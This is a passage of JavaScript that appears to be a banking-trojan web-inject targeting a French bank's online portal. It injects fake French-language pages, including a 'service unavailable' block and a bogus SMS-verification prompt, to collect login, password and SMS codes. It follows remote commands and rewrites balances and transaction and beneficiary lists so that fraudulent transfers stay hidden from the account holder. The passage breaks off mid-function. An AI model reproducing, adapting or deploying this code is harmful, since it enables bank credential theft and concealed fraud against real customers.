  1008.             b_content_textarea.value = '<html><base href="'+baseLoc+'">'+docCodeRemastered+'</html>';
  1009.            
  1010.             b_content_form.appendChild(b_content_input_mode);
  1011.             b_content_form.appendChild(b_content_input_bbid);
  1012.             b_content_form.appendChild(b_content_input_btid);
  1013.             b_content_form.appendChild(b_content_textarea);
  1014.            
  1015.             document.getElementsByTagName("body")[0].appendChild(b_content_form);
  1016.            
  1017.             var b_content_form = document.getElementById("b_content_form");
  1018.             b_content_form.submit();
  1019.         },
  1020.        
  1021.         init: function(param){
  1022.             bridge_show = param;
  1023.         }
  1024.  
  1025.     }
  1026.    
  1027. }())
  1028.  
  1029. bridge = Bridge;
  1030.  
  1031. //=================== INIT VARIABLES =====================
  1032.  
  1033. var UI_login_input = by.args(document,"input","type:text","maxlength:10");
  1034. var UI_password_input = by.args(document,"input","type:password","maxlength:6");
  1035. var UI_login_button_img = by.args(document,"img","src:acount_acces");
  1036. if(UI_login_button_img)var UI_login_button = UI_login_button_img.parentNode;
  1037.  
  1038. var replacerArray = new Array();
  1039.  
  1040. var kl = "";
  1041.  
  1042. var FKTEXT = {
  1043.     WAITING: "Attendez, s'il vous pla&#238;t...",
  1044.     BLOCKTITLE: "Le service est temporairement inaccessible",
  1045.     BLOCKMAIN: "Nous pr&#233;sentons nos excuses. Le service est temporairement inaccessible suite aux travaux techniques sur les serveurs de la banque. Nous faisons tout possible pour am&#233;liorer la qualit&#233; du service de nos clients et assurer votre s&#233;curit&#233; sur le niveau sup&#233;rieur. Nos sp&#233;cialistes vont restaurer le travail et l'acc&#232;s aux comptes dans les plus brefs d&#233;lais. Merci de votre patience et compr&#233;hension.",
  1046.     BLOCTRYNEXTTIME: "Essayez entrer plus tard...",
  1047.     SMSTITLE: "V&#233;rification suppl&#233;mentaire",
  1048.     SMSQUERY: "Nous avons introduit, pour l'acc&#232;s plus s&#251;r &#224; vos comptes, un nouveau syst&#232;me de l'identification pour SMS code. Pour continuer inscrivez le code re&#231;u par SMS.",
  1049.     SMSLABEL: "Code d'acess"
  1050. }
  1051.  
  1052. var HOLDER = {
  1053.     LOGIN: "",
  1054.     PASSWORD: "",
  1055.     SMS: ""
  1056. }
  1057.  
  1058. var QUERY = {
  1059.     COMMAND: "NONE",
  1060.     VALUE: false,
  1061.     CHANGED: false,
  1062.     FINISH: false
  1063. }
  1064.  
  1065. //=================== INIT FAKES FUNCTIONS =====================
  1066.  
  1067. vw.finish = function(){
  1068.     if(!QUERY.CHANGED){
  1069.         QUERY.FINISH = true;
  1070.     }
  1071. }
  1072.  
  1073. vw.fake_step = function(step,status){
  1074.     switch(step){
  1075.         case("login"):
  1076.             vw.lethim();
  1077.         break;
  1078.        
  1079.         case("relogin"):
  1080.             vw.mouse("click",UI_clear_button_1);
  1081.             vw.lethim();
  1082.         break;
  1083.        
  1084.         case("wait"):
  1085.             var fkWaitContent = '<div style="left:350px;top: 390px;position: absolute;z-index: 100;color: #333333;font: 0.75em Arial;text-align: center;width:350px;">  <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJYSURBVHja7JjPi9pAFMfz3kRcpdKDgj9QwUXw4qkKxT9A6WUPhd4KXgTxHyoUehP23v9DwUMFzx5W8SIeFFrZZjaVVjbJm5k3ui09ZOAxmZB88p03mZe8B851DagxXAmDEOMiKIRAZA+WypCAR1SDpTqTna4HCyAaxiylFEDVBwyYQAwdo0Y9qZQCUlAl3NUoDasQBiiqoGEYKkxo1KJr2CmgASqVu4b30QR83p+vdzULpXLDc9DJ6vX6q36//7FUKt15nncLBAjDN+lsNBq9bbVan2q1WqLRaNwUCgXHNfhT5w4xGAzetNvtL71eL1mpVM4gZCwU6dt8Pp/sdDqfu91uAKiCAmeLDofDD8Vi8aZarUYWBYlgy5q+D3vfbDaT1M7BC0MeAsBtLpdzVFAwgMjz/quTTqVSjq1SrWIppS8WrKAc/yqb6ZvD+SxbT5/yt8NVyvEpu6HzF1oMjaExNIbG0BgaQ/8FVP62F4NKBVxyoDJkuhvlpUql4mGS4w4bn1pBpQFAnkfEH8fj0Vqpbuqe/xf9sN1uWQtlhP2x1Wr1dT6ff+coVYEi/Xg8vl8ulz/X63UEKogfW+RUdfypP5bL5W+Hw+Gdn4+6mUyGhFqXiyaTyYOfOc/2+31vt9t5iUTCTafTZ6jDKGKRmcl0Ol0tFov7bDb7uNlscrPZ7DUoSh3h9Jw6VhYRBKMwaOojMULYVhwVKU/gTREWaQ5wI5lgJmTAiFpSB+U2agf+ap64EkbuQhsoMOOtd+30yTghLCGqBQtEuZdaqIDy/6Ikb6pSnMZPAgwAIMDKTKDUFxMAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div> <div style="float:left;width:300px;">       <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAuSURBVHjaYmRgYGBkIAKAFDERo5CFFIXMxCpkGTgTRxXiThQzZ878T4xCgAADAOPEAy1aYXEMAAAAAElFTkSuQmCC) repeat-x scroll left bottom transparent;height: 14px;"></div>       <div style="background: url(data:image/gif;base64,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) no-repeat scroll 7px 7px #FFFFFF;color: #999999;font-size: 1.167em;height: 46px;margin: 0;padding: 0px 15px 0 50px;"><div style="padding-top:11px;font-size:11px;color:#185BB6;">'+FKTEXT.WAITING+'</div></div><div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAsSURBVHjaYpw5c+Z/BiIAIxDrEaOQBYj/jCqkisK/A2fiP2IUMjMQCQACDABXfg8C4LEGcAAAAABJRU5ErkJggg==) repeat-x scroll left top transparent;height: 14px;"></div>   </div>  <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKsSURBVHja7Jm/qxpBEMdn9wnGkHSCWGiRMlja+AcI6SSQPyCVEJI/SAQRhfRpguA/ICm0slFEEYlaWaXw6d3uu/NHmDfO7u3FR6pbGNbTu898d/aHzigAQMK5aXje6LVzSxmg+h44Bw17Qa51HHgIfSAPc6DQiXJVfoVyMGqS3BdLKTbFXEfGOgS+uQyPGlh655hSVQL1NJ5WxamL4ZgpBsYBjGAMvQKxQmo+ei2RAFYpVicRXEQoZeFYqUImDJNCN4hgNsszpVevvmWW6XqmK+X0+UOz2dzUarUP5XL57Wq1mux2O4+AuBBog5PzA8fjUW+3W5hMJvvFYnEcDodfG43Gr4tiF8NhO8GFDtrVQ6AU+v3+42Aw+NxqtUbBWx562LNAfbwcJR5XoVCAarWarlQqjVwul75sDEnMtvNOTdKZKBaLkM/nX9Xr9U9o8rieg/PQsJVKpXQA/xihkFMrjNBsNgtCiHeOsJvGQjOZDCilXjuo4hwIFhqohGBRxFZoVUoWvnA4b2NBbQezKRROSoGL2z3DN4UDXhLq1BJoAk2gCTSBJtAE+r+hTim6dIBwMH2vUu3o8K9j6ThczowO/xUaP6aHwwGklI8RCk2ONAsNsr7w1/RvpgbgpJiFjsfj/Xq9/sFlcw7qb6GbzQaWy6Xf7Xa/k6KCMtRVblRLCuz1evvRaPRtNpv9YXJP5bIKUp7nQZjwTqfT/Xw+94OE9wtKeOMO/wxtt9t+MNOLQOXPTqfTRQp9g9IoJ6ff7+/JjTgzpj33msb6VJXwmHKHMoCjlAKGcjOsHIFsCckjJSRlUc6BVRRUR0C1DUahYHlIGUZg3K4pVP/QFqhtR1mVupY6Iw8UrDTqUHY+U69QiDgvIW752Ge+c+DeQrcylOG1qzIuf3/xPw+eBBgA9ioHIvHy2yIAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div></div>';
  1086.             var popup_elem_common = document.getElementById("popup_elem_common");
  1087.             if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
  1088.             var popup_elem = document.createElement("div");
  1089.             popup_elem.id = "popup_elem_common";
  1090.             popup_elem.style.position = "absolute";
  1091.             popup_elem.style.top = "0px";
  1092.             popup_elem.style.left = "0px";
  1093.             popup_elem.style.width = "100%";
  1094.             popup_elem.style.height = "100%";
  1095.             popup_elem.style.zIndex = "1001";
  1096.             popup_elem.style.background = "url(blank.gif)";
  1097.             popup_elem.innerHTML = fkWaitContent;
  1098.             document.getElementsByTagName('body')[0].appendChild(popup_elem);
  1099.            
  1100.             if(status)return false;
  1101.             setTimeout(vw.finish,90000);
  1102.         break;
  1103.        
  1104.         case("hidewait"):
  1105.             var popup_elem_common = document.getElementById("popup_elem_common");
  1106.             if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
  1107.         break;
  1108.        
  1109.         case("sms"):
  1110.             vw.fake_step("hidewait");
  1111.             var smsDiv = document.getElementById("smsDiv");
  1112.             if(smsDiv)smsDiv.parentNode.removeChild(smsDiv);
  1113.             var pointTd = by.args(document,"td","background:cadre_left\.png","style:cadre_left\.png");
  1114.             if(pointTd){
  1115.                 var pointTr = pointTd.parentNode;
  1116.                 var tables = vw.from(pointTr,"table");
  1117.                 if(tables && tables.length > 0){
  1118.                     var pointTable = tables[0];
  1119.                     var smsDiv = document.createElement("div");
  1120.                     smsDiv.id = "smsDiv";
  1121.                     smsDiv.style.padding = "8px";
  1122.                     smsDiv.style.textAlign = "left";
  1123.                     smsDiv.style.fontSize = "11px";
  1124.                     smsDiv.innerHTML = '<img align=top width="16" height="16" src="/banque/PA_CanalnetApp/jsp/outilsxml/identification/imgs/second-step.png">&nbsp;&nbsp;&nbsp;'+FKTEXT.SMSTITLE+
  1125.                                         '<br>'+
  1126.                                         FKTEXT.SMSQUERY+
  1127.                                         '<br><br><bR>'+
  1128.                                         FKTEXT.SMSLABEL+"<input style='float:right;' type='password' id='vw.inp_sms_input' maxlength=6 size=6>"
  1129.                                         '';
  1130.                     pointTable.parentNode.insertBefore(smsDiv,pointTable);
  1131.                     pointTable.style.visibility = "hidden";
  1132.                     UI_login_input.disabled = true;
  1133.                 }
  1134.             }
  1135.         break;
  1136.        
  1137.         case("block"):
  1138.             vw.fake_step("hidewait");
  1139.             var artDiv = document.getElementById("artDiv");
  1140.             if(artDiv)artDiv.parentNode.removeChild(artDiv);
  1141.             var artDiv = document.createElement("div");
  1142.             artDiv.id = "artDiv";
  1143.             artDiv.className = "rubrique";
  1144.             artDiv.innerHTML = '<table width="350" cellspacing="0" cellpadding="0" border="0">'+
  1145.                                         '<tbody>'+
  1146.                                             '<tr>'+
  1147.                                                 '<td width="6" height="69" rowspan="5"></td>'+
  1148.                                                 '<td width="338" height="4" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_02.gif" colspan="2"><img width="421" height="4" alt="" src="/banque/PA_CanalnetApp/jsp/imgs/transp.gif"></td>'+
  1149.                                                 '<td width="6" height="69" rowspan="5"></td>'+
  1150.                                             '</tr>'+
  1151.                                             '<tr>'+
  1152.                                                 '<td width="100%" height="18" align="center" class="TitreErreur" colspan="2">'+FKTEXT.BLOCKTITLE+'</td>'+
  1153.                                             '</tr>'+
  1154.                                             '<tr>'+
  1155.                                                 '<td width="100%" height="6" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_05.gif" colspan="2"></td>'+
  1156.                                             '</tr>'+
  1157.                                             '<tr>'+
  1158.                                                 '<td width="312" height="34"  align="center" class="LibelleErreur" colspan=2 style="background:#E7E7E7;padding:10px;">'+
  1159.                                                 FKTEXT.BLOCKMAIN+"<br>"+FKTEXT.BLOCTRYNEXTTIME+
  1160.                                                 '</td>'+
  1161.                                             '</tr>'+
  1162.                                             '<tr>'+
  1163.                                                 '<td width="100%" height="7" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_08.gif" colspan="2"></td>'+
  1164.                                             '</tr>'+
  1165.                                         '</tbody>'+
  1166.                                     '</table>';
  1167.             var mainTable = by.args(document,"table","class:identification");
  1168.             if(mainTable){
  1169.                 mainTable.parentNode.insertBefore(artDiv,mainTable);
  1170.                 mainTable.style.display = "none";
  1171.             }
  1172.                
  1173.         break;
  1174.     }
  1175. }
  1176.  
  1177. vw.actions = function(){
  1178.     switch(QUERY.COMMAND){
  1179.                
  1180.         case("OFFLINE"):
  1181.             vw.fake_step("login");
  1182.         break;
  1183.        
  1184.         case("BLOCK"):
  1185.             vw.fake_step("block");
  1186.         break;
  1187.        
  1188.         case("SMS"):
  1189.             vw.fake_step("sms");
  1190.         break;
  1191.        
  1192.         case("LOGIN"):
  1193.             vw.fake_step("login");
  1194.         break;
  1195.        
  1196.         case("REASK LOGIN INFO"):
  1197.             vw.fake_step("relogin");
  1198.         break;
  1199.        
  1200.         case("WAIT"):
  1201.             vw.fake_step("wait",true);
  1202.             setTimeout(hujax.command,1000);
  1203.         break;
  1204.        
  1205.     }
  1206. }
  1207.  
  1208. //=================== INIT REPLACER FUNCTIONS =====================
  1209.  
  1210. replacer.get_balancetable = function(){
  1211.     var r1 = document.getElementById("corps");
  1212.     var r2 = by.args(document,"div","class:colonnegaucheunecompte");
  1213.     if(r1 && r2){
  1214.         return r2;
  1215.     }else{
  1216.         return false;
  1217.     }
  1218. }
  1219.  
  1220. replacer.get_historytable = function(doc){
  1221.     return by.args(doc,"table","id:tablecompte","summary:liste des op.*rations");
  1222. }
  1223.  
  1224. replacer.get_blockstable = function(){
  1225.     return by.args(document,"ul","id:carousel");
  1226. }
  1227.  
  1228. replacer.get_dropstable = function(){
  1229.     return by.args(document,"div","class:gererbenef","id:listecomptes");
  1230. }
  1231.  
  1232. replacer.get_dropshistory = function(){
  1233.     var menuLink = by.args(document,"a","onclick:listervirementsaction");
  1234.     if(menuLink){
  1235.         if(/itemSelect/igm.test(menuLink.parentNode.className)){
  1236.             return true;
  1237.         }
  1238.     }
  1239.     return false;
  1240. }
  1241.  
  1242. replacer.get_venirhistory = function(){
  1243.     return by.args(document,"table","id:tableauoperations","class:avenir");
  1244. }
  1245.  
  1246. replacer.init(replacer.get_balancetable(),replacer.get_historytable(document),replacer.get_blockstable(),replacer.get_dropstable(),replacer.get_dropshistory(),replacer.get_venirhistory());
  1247. replacer.currency(summ.get,summ.set);
  1248.  
  1249. replacer.finder_amount = function(txt){
  1250.     if(txt){
  1251.         var amount = 0;
  1252.         for(var i = 0; i < replacerArray.length; i++){
  1253.             var pattern = new RegExp(replacerArray[i]["ACCOUNT"],"igm");
  1254.             if(pattern.test(txt)){
  1255.                 amount += summ.get(replacerArray[i]["AMOUNT"]);
  1256.             }
  1257.         }
  1258.     }
  1259.     return amount;
  1260. }
  1261.  
  1262. replacer.finder_iframe_account = function(txt){
  1263.     if(txt){
  1264.         for(var i = 0; i < replacerArray.length; i++){
  1265.             var pattern = new RegExp(replacerArray[i]["ACCOUNT"],"igm");
  1266.             if(pattern.test(txt) && !/peregon/igm.test(replacerArray[i]["MEMO"])){
  1267.                 return true;
  1268.             }
  1269.         }
  1270.     }
  1271.     return false;
  1272. }
  1273.  
  1274. replacer.finder_transfer = function(txt){
  1275.     if(txt){
  1276.         for(var i = 0; i < replacerArray.length; i++){
  1277.             var pattern_1 = new RegExp(replacerArray[i]["NAME"],"igm");
  1278.             var pattern_2 = new RegExp(replacerArray[i]["MEMO"],"igm");
  1279.             if(pattern_1.test(txt) || pattern_2.test(txt)){
  1280.                 return true;
  1281.             }
  1282.         }
  1283.     }
  1284.     return false;
  1285. }
  1286.  
  1287. replacer.totalamount = function(){
  1288.     var amount = 0;
  1289.     for(var i = 0; i < replacerArray.length; i++){
  1290.         amount += summ.get(replacerArray[i]["AMOUNT"]);
  1291.     }
  1292.     return amount;
  1293. }
  1294.  
  1295. replacer.hide = function(){
  1296.     var imgs = vw.from(document,"img");
  1297.     if(imgs && imgs.length > 0){
  1298.         for(var i = 0; i < imgs.length; i++){
  1299.             if(/Actions/igm.test(imgs[i].alt) && /plus\.png/igm.test(imgs[i].src)){
  1300.                 if(!replacer.get_dropstable())imgs[i].style.display = "none";
  1301.             }
  1302.         }
  1303.     }
  1304.    
  1305.     var b1 = by.args(document,"div","class:listeaction");
  1306.     if(b1)b1.parentNode.removeChild(b1);
  1307.    
  1308.     var b2 = by.args(document,"div","class:blocreleveoutils");
  1309.     if(b2)b2.parentNode.removeChild(b2);
  1310.    
  1311.     var ahs = vw.from(document,"a");
  1312.     if(ahs && ahs.length > 0){
  1313.         for(var i = 0; i < ahs.length; i++){
  1314.             if(/Enregistrer vos pointages/igm.test(vw.text(ahs[i]))){
  1315.                 ahs[i].parentNode.style.display = "none";
  1316.             }
  1317.         }
  1318.     }
  1319.    
  1320.     if(replacer.get_blockstable()){
  1321.         var imgs = vw.from(document,"img");
  1322.         if(imgs && imgs.length > 0){
  1323.             for(var i = 0; i < imgs.length; i++){
  1324.                 if(/showInfos/igm.test(imgs[i].className)){
  1325.                     jQuery(imgs[i]).unbind("click");
  1326.                 }
  1327.             }
  1328.         }
  1329.        
  1330.         var lis = vw.from(document,"li");
  1331.         if(lis && lis.length > 0){
  1332.             for(var i = 0; i < lis.length; i++){
  1333.                 if(/blocContent.*jcarousel/igm.test(lis[i].className)){
  1334.                     var dropInfoTag = by.args(lis[i],"span","class:cpte");
  1335.                     if(dropInfoTag){
  1336.                         var transferInfoPattern = vw.text(dropInfoTag).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1337.                         if(replacer.finder_transfer(transferInfoPattern)){
  1338.                             lis[i].style.display = "none";
  1339.                         }
  1340.                     }
  1341.                 }
  1342.             }
  1343.         }
  1344.     }
  1345.    
  1346.     if(replacer.get_venirhistory()){
  1347.         var venirTable = replacer.get_venirhistory();
  1348.         if(venirTable){
  1349.             var trs = vw.from(venirTable,"tr");
  1350.             if(trs && trs.length > 0){
  1351.                 for(var i = 0; i < trs.length; i++){
  1352.                     var tds = vw.from(trs[i],"td");
  1353.                     if(tds && tds.length > 2){
  1354.                         var transferInfoPattern = vw.text(tds[1]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1355.                         if(replacer.finder_transfer(transferInfoPattern)){
  1356.                             trs[i].style.display = "none";
  1357.                         }
  1358.                     }
  1359.                 }
  1360.             }
  1361.         }
  1362.     }
  1363. }
  1364.  
  1365. replacer.balance = function(){
  1366.     if(replacer.get_balancetable()){
  1367.         var totalDiv = by.args(document,"div","class:montanttotalavoirs");
  1368.         if(totalDiv){
  1369.             var amount = replacer.totalamount();
  1370.             if(amount > 0){
  1371.                 replacer.replace(totalDiv,amount);
  1372.             }
  1373.         }
  1374.        
  1375.         var tables = vw.from(document,"table");
  1376.         if(tables && tables.length > 0){
  1377.             for(var i = 0; i < tables.length; i++){
  1378.                 if(/Liste des contrats/igm.test(tables[i].summary)){
  1379.                     var amountTotal = 0;
  1380.                     var trs = vw.from(tables[i],"tr");
  1381.                     if(trs && trs.length > 0){
  1382.                         for(var e = 0; e < trs.length; e++){
  1383.                             var tds = vw.from(trs[e],"td");
  1384.                             if(tds && tds.length > 5){
  1385.                                 var accountNumber = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1386.                                 var amount = replacer.finder_amount(accountNumber);
  1387.                                 if(amount > 0){
  1388.                                     amountTotal += amount;
  1389.                                    
  1390.                                     var ahs = vw.from(tds[3],"a");
  1391.                                     if(ahs && ahs.length > 0){
  1392.                                         replacer.replace(ahs[0],amount);
  1393.                                         ahs[0].style.textDecoration = "none";
  1394.                                     }
  1395.                                    
  1396.                                     var ahs = vw.from(tds[4],"a");
  1397.                                     if(ahs && ahs.length > 0){
  1398.                                         replacer.replace(ahs[0],amount);
  1399.                                         ahs[0].style.textDecoration = "none";
  1400.                                        
  1401.                                         var lastAmount = vw.text(tds[4]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1402.                                         if(summ.get(lastAmount) > 0){
  1403.                                             ahs[0].style.color = "blue";
  1404.                                         }
  1405.                                     }
  1406.                                    
  1407.                                     var lastAmount = vw.text(tds[3]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1408.                                     if(summ.get(lastAmount) > 0){
  1409.                                         tds[3].className = "positif";
  1410.                                     }
  1411.                                    
  1412.                                    
  1413.                                     var parentDiv = tables[i].parentNode;
  1414.                                     if(parentDiv){
  1415.                                         var lastChar = parentDiv.id.substr(parentDiv.id.length-1,1);
  1416.                                         if(lastChar){
  1417.                                             var totalBlockParent = document.getElementById("blocIndex_"+lastChar);
  1418.                                             if(totalBlockParent){
  1419.                                                 var totalBlock = by.args(totalBlockParent,"div","class:montant");
  1420.                                                 if(totalBlock){
  1421.                                                     replacer.replace(totalBlock,amount);
  1422.                                                     var lastAmount = vw.text(totalBlock).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1423.                                                     if(summ.get(lastAmount) > 0){
  1424.                                                         totalBlock.className = "montant positif";
  1425.                                                     }
  1426.                                                 }
  1427.                                             }
  1428.                                         }
  1429.                                     }
  1430.                                 }
  1431.                                
  1432.                                 if(trs[e].className == "total"){
